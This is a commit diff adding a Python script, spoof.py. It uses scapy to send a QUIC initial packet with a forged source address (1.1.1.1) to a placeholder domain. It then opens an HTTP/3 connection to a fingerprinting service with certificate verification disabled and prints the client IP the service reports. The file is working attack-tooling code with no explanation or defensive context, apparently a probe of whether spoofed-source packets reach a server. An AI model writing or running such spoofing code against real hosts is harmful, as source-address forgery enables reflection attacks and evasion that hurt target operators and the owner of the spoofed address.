Add spoof.py

spoof.py

@@ -0,0 +1,130 @@
+import sys
+import socket
+import ssl
+import json
+import time
+import select
+import urllib.request
+import os
+from scapy.all import IP
+from scapy.all import UDP
+from scapy.all import Raw
+from scapy.all import send
+from scapy.all import conf
+from aioquic.quic.connection import QuicConnection
+from aioquic.quic.configuration import QuicConfiguration
+from aioquic.h3.connection import H3Connection
+from aioquic.h3.events import HeadersReceived
+from aioquic.h3.events import DataReceived
+
+conf.verb=0
+
+cid=os.urandom(8)
+p=b"\xc0"+b"\x00\x00\x00\x01"+bytes([len(cid)])+cid+b"\x00\x00\x08"+b"\x00"*8
+pkt=IP(src="1.1.1.1",dst=socket.gethostbyname("<domain>"))/UDP(sport=50000,dport=443)/Raw(p)
+send(pkt)
+
+time.sleep(0.5)
+
+cfg=QuicConfiguration(is_client=True,alpn_protocols=["h3"])
+cfg.verify_mode=ssl.CERT_NONE
+cfg.server_name="fingerprint.galaxyfounded.nl"
+q=QuicConnection(configuration=cfg)
+h3=None
+sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
+sock.bind(("0.0.0.0",0))
+sock.setblocking(False)
+
+q.connect((socket.gethostbyname("fingerprint.galaxyfounded.nl"),443),now=time.monotonic())
+for d,a in q.datagrams_to_send(now=time.monotonic()):
+    sock.sendto(d,a)
+
+st=time.monotonic()
+while True:
+    elapsed=time.monotonic()-st
+    if elapsed>10:
+        break
+    timer=q.get_timer()
+    if timer:
+        to=timer-time.monotonic()
+        if to<0:
+            to=0
+        if to>0.2:
+            to=0.2
+    else:
+        to=0.05
+    r,_,_=select.select([sock],[],[],to)
+    if r:
+        try:
+            d,a=sock.recvfrom(65536)
+            q.receive_datagram(d,a,now=time.monotonic())
+        except:
+            pass
+    if q.get_timer():
+        if time.monotonic()>=q.get_timer():
+            q.handle_timer(now=time.monotonic())
+    ev=q.next_event()
+    while ev:
+        if 'HandshakeCompleted' in str(type(ev)):
+            h3=H3Connection(q)
+        if h3:
+            for hev in h3.handle_event(ev):
+                pass
+        ev=q.next_event()
+    for d,a in q.datagrams_to_send(now=time.monotonic()):
+        try:
+            sock.sendto(d,a)
+        except:
+            pass
+
+sid=q.get_next_available_stream_id()
+h3.send_headers(sid,[(b":method",b"GET"),(b":scheme",b"https"),(b":authority",b"fingerprint.galaxyfounded.nl"),(b":path",b"/fp")],end_stream=True)
+for d,a in q.datagrams_to_send(now=time.monotonic()):
+    sock.sendto(d,a)
+
+body=b""
+st=time.monotonic()
+while True:
+    elapsed=time.monotonic()-st
+    if elapsed>12:
+        break
+    timer=q.get_timer()
+    if timer:
+        to=timer-time.monotonic()
+        if to<0:
+            to=0
+        if to>0.2:
+            to=0.2
+    else:
+        to=0.05
+    r,_,_=select.select([sock],[],[],to)
+    if r:
+        try:
+            d,a=sock.recvfrom(65536)
+            q.receive_datagram(d,a,now=time.monotonic())
+        except:
+            pass
+    if q.get_timer():
+        if time.monotonic()>=q.get_timer():
+            q.handle_timer(now=time.monotonic())
+    ev=q.next_event()
+    while ev:
+        if h3:
+            for hev in h3.handle_event(ev):
+                if 'DataReceived' in str(type(hev)):
+                    body=body+hev.data
+        ev=q.next_event()
+    for d,a in q.datagrams_to_send(now=time.monotonic()):
+        try:
+            sock.sendto(d,a)
+        except:
+            pass
+
+cip=None
+try:
+    j=json.loads(body.decode())
+    cip=j['endpoint']['ipInfo']['cfConnectingIp']
+except:
+    pass
+
+print(cip)